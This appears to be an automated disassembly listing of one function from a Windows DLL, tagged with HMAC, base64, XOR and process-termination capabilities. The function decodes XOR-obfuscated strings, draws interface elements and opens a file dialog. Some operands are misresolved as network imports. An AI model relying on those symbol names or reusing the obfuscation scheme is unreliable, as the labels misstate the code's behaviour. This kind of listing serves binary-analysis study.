Function at 0x1800d2dd0
Capabilities:
Authenticate hmac
Encode data using base64
Encode data using xor
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1cd8]
mov eax, 0x1dd8
call fcn.18015d700
sub rsp, rax
movaps xmmword [rsp + 0x1dc0], xmm6
movaps xmmword [rsp + 0x1db0], xmm7
movaps xmmword [rsp + 0x1da0], xmm8
movaps xmmword [rsp + 0x1d90], xmm9
movaps xmmword [rsp + 0x1d80], xmm10
movaps xmmword [rsp + 0x1d70], xmm11
movaps xmmword [rsp + 0x1d60], xmm12
movaps xmmword [rsp + 0x1d50], xmm13
movaps xmmword [rsp + 0x1d40], xmm14
movaps xmmword [rsp + 0x1d30], xmm15
mov rax, qword [0x1802ebe40]
xor rax, rsp
mov qword [rbp + 0x1c20], rax
mov rbx, r9
mov qword [rbp + 0x70], rbx
mov r14, r8
mov qword [rbp + 0x78], r8
mov rdi, rdx
mov qword [rbp + 0x80], rdx
mov rsi, rcx
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x1640], rcx
mov qword [rbp + 0x1610], rdx
mov qword [rbp + 0x1618], r8
mov qword [rbp + 0x1620], rbx
mov r15, qword [rbp + 0x1d40]
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0x1628], r15
mov r12, qword [rbp + 0x1d48]
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0x1630], r12
xor r13d, r13d
mov dword [rbp - 0x64], r13d
mov rax, qword [r9 + 8]
sub rax, qword [r9]
sar rax, 5
test rax, rax
jne 0x1800d2eed
nop word [rax + rax]
mov ecx, 0x7fffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800d2ee0
cmp qword [rcx + 0x10], 0
jne 0x1800d2f01
mov ecx, 0x7fffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800d2ef4
cmp byte [0x1802efb60], 0
je 0x1800e0abc
cmp qword [0x1802efb70], 0
je 0x1800e0abc
lea rax, [rbp + 0x1d50]
mov qword [rbp + 0x838], rax
mov qword [rbp + 0x840], rcx
xor r9d, r9d
lea r8, [rbp + 0x171c]
xor edx, edx
lea rbx, [0x1802f0548]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x1800d2f58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rbp + 0x171c], 0
je 0x1800d2f91
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x58], 4
lea rcx, [rbp + 0x838]
call fcn.1800af310
nop
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x1800e0b69
cmp byte [0x1802efbf5], 0
jne 0x1800d2fab
call fcn.1800cd0d0
mov rcx, qword [0x1802efbc0]
call fcn.1800cef00
cmp byte [0x1802efde0], 0
je 0x1800d2fb9
call fcn.1800cd7e0
cmp byte [0x1802efdeb], 0
je 0x1800d2fc7
call fcn.1800cccb0
cmp byte [0x1802efe16], 0
je 0x1800d2fd5
call fcn.1800cd520
cmp byte [0x1802efbf3], 0
jne 0x1800d2ff0
cmp byte [0x1802efbf4], 0
jne 0x1800d2ff0
cmp byte [0x1802efbf2], 0
je 0x1800d2ff5
call fcn.1800cbd60
call fcn.1800b3c70
movzx edx, byte [0x1802efdef]
movzx r9d, byte [0x1802efe14]
test r9b, r9b
jne 0x1800d3012
test dl, dl
je 0x1800d305c
mov rax, qword [0x1802efc08]
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x1800d305c
mov rax, qword [0x1802efc30]
mov rcx, qword [rax + rcx]
mov r8, qword [rcx + 0x20]
test r8, r8
je 0x1800d305c
test r9b, r9b
je 0x1800d304d
mov rax, qword [0x1802efc40]
mov dword [rax + r8], r13d
movzx edx, byte [0x1802efdef]
test dl, dl
je 0x1800d305c
mov rax, qword [0x1802efc48]
mov dword [rax + r8], r13d
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x1800d3072
cmp byte [0x1802efc77], 0
jne 0x1800d3072
xor bl, bl
jmp 0x1800d3074
mov bl, 1
call fcn.1800192a0
mov byte [rax + 0x70], bl
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x1800d3092
cmp byte [0x1802efc77], 0
jne 0x1800d3092
xor bl, bl
jmp 0x1800d3094
mov bl, 1
call fcn.1800192a0
mov byte [rax + 0xd1], bl
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1800e0a9b
movss xmm9, dword [0x1801b4ca0]
mov dword [rbp + 0xc8], 0x442f0000
movss xmm12, dword [0x1801b4c9c]
mov dword [rbp + 0xcc], 0x440d4000
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.180025430
mov rax, qword [0x1801b3348]
mov qword [rbp + 0xd0], rax
movdqa xmm10, xmmword [0x180173d80]
movdqa xmm8, xmmword [0x180173cc0]
movdqa xmm7, xmmword [0x18016cbe0]
movdqa xmm14, xmmword [str.7777777777777777]
movdqa xmm11, xmmword [str.4444]
movdqa xmm6, xmmword [0x1801b4e30]
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1801b334f], 0
je 0x1800d3249
mov r8d, r13d
cmp r14d, 2
jl 0x1800d320e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, dword [rbp + 0xd0]
xorps xmm1, xmm0
movd dword [rbp + 0xd0], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, dword [rbp + 0xd4]
xorps xmm1, xmm0
movd dword [rbp + 0xd4], xmm1
jmp 0x1800d3249
lea r9, [rbp + 0xd0]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800d3220
xor edx, edx
mov r8d, 0x20bb
lea rcx, [rbp + 0xd0]
call fcn.1800114d0
call fcn.1800192a0
movss xmm0, dword [rax + 0x10]
movss xmm15, dword [0x180168bcc]
mulss xmm0, xmm15
movss dword [0x1801e8150], xmm0
call fcn.180019b30
mov r13, rax
mov qword [rbp + 0xd8], rax
lea rcx, [rbp + 0x1730]
call fcn.180019b80
lea rcx, [0x1801e80c0]
call fcn.180016140
movss xmm1, dword [rbp + 0x1734]
addss xmm1, xmm12
movss xmm0, dword [rbp + 0x1730]
addss xmm0, xmm9
movss dword [rbp + 0xe0], xmm0
movss dword [rbp + 0xe4], xmm1
xor ebx, ebx
mov dword [rsp + 0x28], ebx
movss xmm13, dword [0x180168bd0]
movss dword [rsp + 0x20], xmm13
mov r9d, eax
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x1730]
mov rcx, r13
call fcn.18002ce40
lea rcx, [0x1801e8020]
call fcn.180016140
movss xmm1, dword [rbp + 0x1734]
addss xmm1, dword [0x1801b4c98]
movss xmm0, dword [rbp + 0x1730]
addss xmm0, dword [0x180168de8]
movss dword [rbp + 0xe8], xmm0
movss dword [rbp + 0xec], xmm1
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
movss dword [rsp + 0x20], xmm13
mov r9d, eax
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0x1730]
mov rcx, r13
call fcn.18002ce40
lea rcx, [0x1801e8070]
call fcn.180016140
movss xmm3, dword [rbp + 0x1734]
movaps xmm1, xmm3
addss xmm1, dword [0x1801b4c98]
movss xmm2, dword [rbp + 0x1730]
movaps xmm0, xmm2
addss xmm0, dword [0x180168de8]
movss dword [rbp + 0xf0], xmm0
movss dword [rbp + 0xf4], xmm1
xorps xmm0, xmm0
addss xmm3, xmm0
addss xmm2, dword [0x1801b4c80]
movss dword [rbp + 0xf8], xmm2
movss dword [rbp + 0xfc], xmm3
mov dword [rsp + 0x28], ebx
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0xf8]
mov rcx, r13
call fcn.18002ce40
mov dword [rbp + 0x100], 0x41200000
mov dword [rbp + 0x104], 0x41700000
lea rcx, [rbp + 0x100]
call fcn.180024f20
mov dword [rbp + 0x108], 0x42700000
mov dword [rbp + 0x10c], 0x44034000
mov eax, dword [0x1801b3350]
mov dword [rbp - 0x24], eax
movzx eax, byte [0x1801b3354]
mov byte [rbp - 0x24], 0x54
xor byte [rbp - 0x23], 0x38
xor byte [rbp - 0x22], 0x39
xor byte [rbp - 0x21], 0x3a
xor al, 0x3b
mov byte [rbp - 0x20], al
lea rax, [0x180167e06]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_recv
mov r8b, 1
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x24]
call fcn.180013bd0
mov rcx, qword [0x1802f0480]
call fcn.1800212f0
movzx eax, word [0x1801b3358]
mov word [rsp + 0x68], ax
cmp byte [0x1801b3359], bl
je 0x1800d3492
mov byte [rsp + 0x68], 0x64
xor byte [rsp + 0x69], 0x38
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov rcx, qword [0x1802eff48]
call fcn.1800beed0
movzx eax, word [0x1801b335c]
mov word [rsp + 0x6c], ax
cmp byte [0x1801b335d], bl
je 0x1800d34c4
mov byte [rsp + 0x6c], 0x65
xor byte [rsp + 0x6d], 0x38
mov r8d, 1
lea rdx, [rsp + 0x6c]
mov rcx, qword [0x1802eff48]
call fcn.1800beed0
movzx eax, word [0x1801b3360]
mov word [rsp + 0x70], ax
cmp byte [0x1801b3361], bl
je 0x1800d34f9
mov byte [rsp + 0x70], 0x6a
xor byte [rsp + 0x71], 0x38
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, qword [0x1802eff48]
call fcn.1800beed0
movzx eax, word [0x1801b3364]
mov word [rsp + 0x74], ax
cmp byte [0x1801b3365], bl
je 0x1800d352e
mov byte [rsp + 0x74], WSAGetLastError
xor byte [rsp + 0x75], 0x38
mov r8d, 3
lea rdx, [rsp + 0x74]
mov rcx, qword [0x1802eff48]
call fcn.1800beed0
movzx eax, word [0x1801b3368]
mov word [rsp + 0x78], ax
cmp byte [0x1801b3369], bl
je 0x1800d3563
mov byte [rsp + 0x78], 0x68
xor byte [rsp + 0x79], 0x38
mov r8d, 5
lea rdx, [rsp + 0x78]
mov rcx, qword [0x1802eff48]
call fcn.1800beed0
call fcn.180020eb0
xor ecx, ecx
call fcn.180017290
call fcn.1800192a0
movss xmm13, dword [rax + 0xc]
call fcn.180018ba0
mov rdi, rax
mov rcx, qword [0x1801b3370]
mov qword [rbp + 0x110], rcx
cmp byte [str._uMPV_], bl
je 0x1800d36c9
mov r8d, ebx
cmp r14d, 2
jl 0x1800d3696
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x110]
xorps xmm2, xmm1
movd dword [rbp + 0x110], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x114]
xorps xmm2, xmm1
movd dword [rbp + 0x114], xmm2
jmp 0x1800d36c9
lea r9, [rbp + 0x110]
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800d36a0
lea rax, [rbp + 0x110]
mov r15, 0xffffffffffffffff
mov rcx, r15
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], bl
jne 0x1800d36e0
mov rdx, qword [0x1802f0000]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x1800e0b6f
lea rax, [0x1802efff0]
cmp qword [0x1802f0008], 0xf
cmova rax, qword [0x1802efff0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x110]
lea r8, [0x1802efff0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xe70]
call fcn.180049080
mov r12d, 1
mov dword [rbp - 0x64], r12d
lea rbx, [rbp + 0xe70]
cmp qword [rbp + 0xe88], 0xf
cmova rbx, qword [rbp + 0xe70]
movdqa xmm0, xmmword [0x1801b4d50]
movups xmmword [rbp + 0x848], xmm0
lea rcx, [rbp + 0x848]
call fcn.180016140
mov dword [rbp + 0x118], 0x41200000
movaps xmm0, xmm13
subss xmm0, dword [0x1801b4c70]
movss dword [rbp + 0x11c], xmm0
mov qword [rsp + 0x20], 0
mov r9, rbx
mov r8d, eax
lea rdx, [rbp + 0x118]
mov rcx, rdi
call fcn.180030590
nop
mov rdx, qword [rbp + 0xe88]
cmp rdx, 0xf
jbe 0x1800d3807
inc rdx
mov rcx, qword [rbp + 0xe70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800d3802
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800d3802
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18015d0f0
movdqa xmm0, xmmword [0x18016d870]
movdqu xmmword [rbp + 0xe80], xmm0
mov byte [rbp + 0xe70], 0
call fcn.180018ba0
mov rbx, rax
movzx eax, word [0x1801b338c]
mov word [rbp + 0xb8c], ax
movzx eax, byte [0x1801b338e]
mov edx, dword [0x1801b3388]
movups xmm2, xmmword [0x1801b3378]
mov byte [rbp + 0xb8e], al
mov dword [rbp + 0xb88], edx
movups xmmword [rbp + 0xb78], xmm2
xor edi, edi
mov r8d, edi
movdqa xmm9, xmmword [0x180173ce0]
movdqa xmm12, xmmword [0x180173cf0]
cmp r14d, 2
jl 0x1800d3a8f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb78], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb7c]
xorps xmm2, xmm1
movd dword [rbp + 0xb7c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb80]
xorps xmm2, xmm1
movd dword [rbp + 0xb80], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb84]
xorps xmm2, xmm1
movd dword [rbp + 0xb84], xmm2
movdqa xmm3, xmmword [0x180173d00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xb88], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xb78]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1800d3aa0
movdqa xmm0, xmmword [0x1801b4d50]
movups xmmword [rbp + 0x858], xmm0
lea rcx, [rbp + 0x858]
call fcn.180016140
mov dword [rbp + 0x120], 0x41200000
subss xmm13, dword [0x18016d824]
movss dword [rbp + 0x124], xmm13
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xb78]
mov r8d, eax
lea rdx, [rbp + 0x120]
mov rcx, rbx
call fcn.180030590
movss xmm13, dword [0x180168c18]
cmp dword [0x1802f046c], edi
jne 0x1800d4390
mov dword [rbp + 0x128], 0x42c20000
mov dword [rbp + 0x12c], 0x41400000
lea rcx, [rbp + 0x128]
call fcn.180024f20
mov qword [rbp + 0x130], rdi
mov eax, dword [0x1801b3390]
mov dword [rbp - 0xc], eax
movzx eax, word [0x1801b3394]
mov word [rbp - 8], ax
mov byte [rbp - 0xc], 0x46
xor byte [rbp - 0xb], 0x38
xor byte [rbp - 0xa], 0x39
xor byte [rbp - 9], 0x3a
xor al, 0x3b
mov byte [rbp - 8], al
xor byte [rbp - 7], 0x3c
lea r15, [0x180167e06]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0xc]
call fcn.180013bd0
cmp byte [0x1802f0550], dil
jne 0x1800d3c44
cvttss2si ecx, dword [rbp + 0x1734]
add ecx, 0x41
cvttss2si eax, dword [rbp + 0x1730]
add eax, 0x55
mov dword [rbp + 0x138], eax
mov dword [rbp + 0x13c], ecx
lea rdx, [rbp + 0x138]
mov rcx, qword [0x1802eff30]
call fcn.180065b00
call fcn.180062bf0
mov rdx, rax
mov rcx, qword [0x1802eff30]
call fcn.180065b20
lea rdx, [0x1801e80d0]
mov rcx, qword [0x1802eff30]
call fcn.180065d80
mov rcx, qword [0x1802eff30]
mov byte [rcx + 0x7b], dil
xor edx, edx
call fcn.180065dc0
mov rcx, qword [0x1802eff30]
mov byte [rcx + 0x7a], dil
mov byte [0x1802f0550], 1
jmp 0x1800d3c4b
mov rcx, qword [0x1802eff30]
movzx eax, word [0x1801b3398]
movd xmm0, dword [0x1802eb520]
mov word [rbp - 0x58], ax
cvtdq2ps xmm0, xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
movss dword [rbp + 0x144], xmm0
mov dword [rbp + 0x140], 0x44140000
mov byte [rbp - 0x58], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x57], 0x38
xor al, 0x39
mov byte [rbp - 0x56], al
mov r9b, 1
lea r8, [rbp + 0x140]
lea rdx, [rbp - 0x58]
call fcn.1800655c0
mov eax, dword [0x1802eb520]
add eax, 3
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rbp + 0x148], 0x43e10000
movss dword [rbp + 0x14c], xmm1
lea rcx, [rbp + 0x148]
call fcn.180024f20
mov rcx, qword [0x1802ef130]
call fcn.1800212f0
mov qword [rbp + 0x150], rdi
movzx eax, word [0x1801b339c]
mov word [rsp + 0x7c], ax
cmp byte [0x1801b339d], dil
je 0x1800d3cfa
mov byte [rsp + 0x7c], 0x7a
xor byte [rsp + 0x7d], 0x38
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x7c]
call fcn.18004a000
test al, al
je 0x1800d3e8f
mov rcx, qword [0x1802f03f0]
sub rcx, qword [0x1802f03e8]
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
jb 0x1800d3e8f
mov cl, 1
call fcn.1800b5490
mov r12, rax
mov rdi, qword [0x1802f03e8]
mov r15, qword [0x1802f03f0]
cmp rdi, r15
je 0x1800d3e7f
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1848]
call fcn.18005b090
nop
mov rbx, qword [rdi + 0x20]
mov qword [rbp + 0x1868], rbx
test rbx, rbx
je 0x1800d3da0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rbp + 0x1868]
mov qword [rbp - 0x60], rbx
test rbx, rbx
je 0x1800d3db3
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
nop
test rbx, rbx
je 0x1800d3e18
lea rdx, [rbp + 0x1848]
lea rcx, [0x1802f0040]
call fcn.1800abb50
mov byte [rax], 1
mov ecx, reloc.WS2_32.dll_recv
call fcn.18015d0b4
mov rsi, rax
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1800d3e05
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rbp - 0x30], rbx
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + reloc.WS2_32.dll_htonl]
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.1800aa980
nop
mov r8, qword [0x1802efb90]
mov rdx, r12
mov rcx, rax
call fcn.1800bb8b0
nop
test rbx, rbx
je 0x1800d3e27
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
lea rcx, [rbp + 0x1848]
call fcn.1800ab250
add rdi, 0x28
cmp rdi, r15
jne 0x1800d3d70
mov r15, qword [0x1802f03f0]
mov rdi, qword [0x1802f03e8]
mov rsi, qword [rbp + 0x88]
cmp rdi, r15
je 0x1800d3e7f
nop word [rax + rax]
mov rcx, rdi
call fcn.1800ab250
add rdi, 0x28
cmp rdi, r15
jne 0x1800d3e60
mov rax, qword [0x1802f03e8]
mov qword [0x1802f03f0], rax
mov byte [0x1802efc75], 0
xor edi, edi
lea r15, [0x180167e06]
movaps xmm1, xmm13
xorps xmm13, xmm13
xorps xmm0, xmm0
call fcn.180024590
mov qword [rbp + 0x158], 0
movzx eax, word [0x1801b33a0]
mov word [rbp - 0x80], ax
cmp byte [0x1801b33a1], 0
je 0x1800d3ec6
mov byte [rbp - 0x80], WSASetLastError
xor byte [rbp - 0x7f], 0x38
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x80]
call fcn.18004a000
test al, al
je 0x1800d4276
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x1b11]
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1650], xmm0
movups xmmword [rbp + 0x1660], xmm0
movups xmmword [rbp + 0x1670], xmm0
movups xmmword [rbp + 0x1680], xmm0
movups xmmword [rbp + 0x1690], xmm0
movups xmmword [rbp + 0x16a0], xmm0
movups xmmword [rbp + 0x16b0], xmm0
movups xmmword [rbp + 0x16c0], xmm0
movups xmmword [rbp + 0x16d0], xmm0
mov qword [rbp + 0x16e0], rax
mov dword [rbp + 0x1650], 0x98
lea rax, [rbp + 0x1b10]
mov qword [rbp + 0x1680], rax
mov byte [rbp + 0x1b10], 0
mov dword [rbp + 0x1688], 0x104
lea rax, str.Todos_os_arquivos
mov qword [rbp + 0x1668], rax
mov dword [rbp + 0x167c], 1
mov qword [rbp + 0x1690], rdi
mov dword [rbp + 0x1698], edi
mov qword [rbp + 0x16a0], rdi
mov dword [rbp + 0x16b0], 0x1808
lea rcx, [rbp + 0x1650]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
cmp eax, 1
jne 0x1800d4276
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x1980]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rbp + 0x1680]
lea rcx, [rbp + 0x1980]
call fcn.1800a93e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1828], xmm0
mov qword [rbp + 0x1838], rdi
mov qword [rbp + 0x1840], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1828], 0
movups xmmword [rbp + 0x1808], xmm0
mov qword [rbp + 0x1818], rdi
mov qword [rbp + 0x1820], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1808], 0
mov rax, qword [rbp + 0x1980]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1980]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x1828]
lea rcx, [rbp + 0x1980]
call fcn.180071060
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1800d41c4
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
nop word [rax + rax]
mov r15, qword [rbp + 0x1838]
lea r9, [rbp + 0x1828]
cmp qword [rbp + 0x1840], 0xf
cmova r9, qword [rbp + 0x1828]
mov r12, qword [rbp + 0x1818]
mov rcx, qword [rbp + 0x1820]
mov rax, rcx
sub rax, r12
cmp r15, rax
ja 0x1800d40ff
lea rax, [r15 + r12]
mov qword [rbp + 0x1818], rax
lea rsi, [rbp + 0x1808]
cmp rcx, 0xf
cmova rsi, qword [rbp + 0x1808]
lea rcx, [rsi + r12]
mov r8, r15
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r15 + rsi]
mov byte [rax + r12], 0
jmp 0x1800d4117
mov qword [rsp + 0x20], r15
movzx r8d, dil
mov rdx, r15
lea rcx, [rbp + 0x1808]
call fcn.180048b80
mov rcx, qword [rbp + 0x1818]
mov rdx, qword [rbp + 0x1820]
cmp rcx, rdx
jae 0x1800d4150
lea rax, [rcx + 1]
mov qword [rbp + 0x1818], rax
lea rax, [rbp + 0x1808]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x1808]
mov word [rax + rcx], 0xa
jmp 0x1800d4168
mov r9b, 0xa
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0x1808]
call fcn.1800587a0
mov rax, qword [rbp + 0x1980]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1980]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x1828]
lea rcx, [rbp + 0x1980]
call fcn.180071060
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
